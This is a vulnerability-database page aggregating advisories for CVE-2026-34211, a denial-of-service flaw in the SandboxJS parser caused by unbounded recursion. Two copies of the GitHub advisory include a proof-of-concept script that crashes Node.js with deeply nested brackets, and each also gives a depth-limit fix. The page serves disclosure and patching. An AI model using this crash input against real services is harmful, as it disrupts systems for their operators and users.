Every CVE Search/ Get API key

CVE-2026-34211

SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser

6.9 MediumFix available

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, the @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process. This vulnerability is fixed in 0.8.36.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
Low

Exploit likelihood

0.41%Up 0.4 points since Apr 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.9

SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, the @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process. This vulnerability is fixed in 0.8.36.

Record
CVE-2026-34211
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-674
Updated
2026-11-02
EUVDEUVD-2026-19299 6.9

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, the @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process. This vulnerability is fixed in 0.8.36.

Record
EUVD-2026-19299
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-8pfc-jjgw-6g26 6.9

SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser

Summary

The @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process.

Details

The root cause is in src/parser.ts. The restOfExp function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn't match the expected firstOpening, it recursively calls itself at line 503:

// src/parser.ts:486-505
} else if (closings[char]) {
  // ...
  if (char === firstOpening) {
    done = true;
    break;
  } else {
    const skip = restOfExp(constants, part.substring(i + 1), [], char);  // line 503
    cache.set(skip.start - 1, skip.end);
    i += skip.length + 1;
  }
}

Each nested bracket ((, [, {) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter:

export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
): CodeString {

A second unbounded recursive path exists through lispify → lispTypes.get(type) → group handler → lispifyExpr (line 672) → lispify, which processes parenthesized groups recursively with no depth limit.

All public API methods (Sandbox.parse(), Sandbox.compile(), Sandbox.compileAsync(), Sandbox.compileExpression(), Sandbox.compileExpressionAsync()) pass user input directly to parse() with no input validation or depth limiting.

A RangeError: Maximum call stack size exceeded in Node.js is not a catchable exception in the normal sense — it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process.

PoC

# Install the package
npm install @nyariv/sandboxjs

# Create test file
cat > poc.js << 'EOF'
const { default: Sandbox } = require('@nyariv/sandboxjs');
const s = new Sandbox();

// Trigger via nested parentheses
console.log("Testing nested parentheses...");
try {
  s.compile('('.repeat(2000) + '1' + ')'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}

// Trigger via nested array brackets
console.log("Testing nested array brackets...");
try {
  s.compile('a' + '[0]'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}
EOF

node poc.js

Expected output:

Testing nested parentheses...
Crash: RangeError: Maximum call stack size exceeded
Testing nested array brackets...
Crash: RangeError: Maximum call stack size exceeded

Verified on Node.js v22 with @nyariv/[email protected].

Impact

Any application using @nyariv/sandboxjs to parse untrusted user input is vulnerable to denial of service. Since SandboxJS is explicitly designed to safely execute untrusted JavaScript, its primary use case involves untrusted input — making this a high-impact vulnerability for its intended deployment scenario.

An attacker can crash the host Node.js process with a single crafted input string. In server-side applications, this causes complete service disruption. The attack payload is trivial to construct and requires no authentication.

Recommended Fix

Add a depth parameter to restOfExp and throw a ParseError when a maximum depth is exceeded:

// src/parser.ts - restOfExp function
const MAX_PARSE_DEPTH = 256;

export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
  depth: number = 0,          // ADD depth parameter
): CodeString {
  if (depth >…
Record
GHSA-8pfc-jjgw-6g26
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-674
Updated
2026-11-02
NVD 6.9

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, the @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process. This vulnerability is fixed in 0.8.36.

Record
CVE-2026-34211
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-674
Updated
2026-11-02
OSVGHSA-8pfc-jjgw-6g26 6.9

SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser

Summary

The @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process.

Details

The root cause is in src/parser.ts. The restOfExp function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn't match the expected firstOpening, it recursively calls itself at line 503:

// src/parser.ts:486-505
} else if (closings[char]) {
  // ...
  if (char === firstOpening) {
    done = true;
    break;
  } else {
    const skip = restOfExp(constants, part.substring(i + 1), [], char);  // line 503
    cache.set(skip.start - 1, skip.end);
    i += skip.length + 1;
  }
}

Each nested bracket ((, [, {) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter:

export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
): CodeString {

A second unbounded recursive path exists through lispify → lispTypes.get(type) → group handler → lispifyExpr (line 672) → lispify, which processes parenthesized groups recursively with no depth limit.

All public API methods (Sandbox.parse(), Sandbox.compile(), Sandbox.compileAsync(), Sandbox.compileExpression(), Sandbox.compileExpressionAsync()) pass user input directly to parse() with no input validation or depth limiting.

A RangeError: Maximum call stack size exceeded in Node.js is not a catchable exception in the normal sense — it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process.

PoC

# Install the package
npm install @nyariv/sandboxjs

# Create test file
cat > poc.js << 'EOF'
const { default: Sandbox } = require('@nyariv/sandboxjs');
const s = new Sandbox();

// Trigger via nested parentheses
console.log("Testing nested parentheses...");
try {
  s.compile('('.repeat(2000) + '1' + ')'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}

// Trigger via nested array brackets
console.log("Testing nested array brackets...");
try {
  s.compile('a' + '[0]'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}
EOF

node poc.js

Expected output:

Testing nested parentheses...
Crash: RangeError: Maximum call stack size exceeded
Testing nested array brackets...
Crash: RangeError: Maximum call stack size exceeded

Verified on Node.js v22 with @nyariv/[email protected].

Impact

Any application using @nyariv/sandboxjs to parse untrusted user input is vulnerable to denial of service. Since SandboxJS is explicitly designed to safely execute untrusted JavaScript, its primary use case involves untrusted input — making this a high-impact vulnerability for its intended deployment scenario.

An attacker can crash the host Node.js process with a single crafted input string. In server-side applications, this causes complete service disruption. The attack payload is trivial to construct and requires no authentication.

Recommended Fix

Add a depth parameter to restOfExp and throw a ParseError when a maximum depth is exceeded:

// src/parser.ts - restOfExp function
const MAX_PARSE_DEPTH = 256;

export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
  depth: number = 0,          // ADD depth parameter
): CodeString {
  if (depth >…
Record
GHSA-8pfc-jjgw-6g26
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-674
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@nyariv/sandboxjs
npm
through 0.8.35
0.8.36
@nyariv/sandboxjs
npm
before 0.8.36
0.8.36

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-34211 is a medium vulnerability (CVSS 6.9) in Nyariv Sandboxjs, published April 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in @nyariv/sandboxjs 0.8.36.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open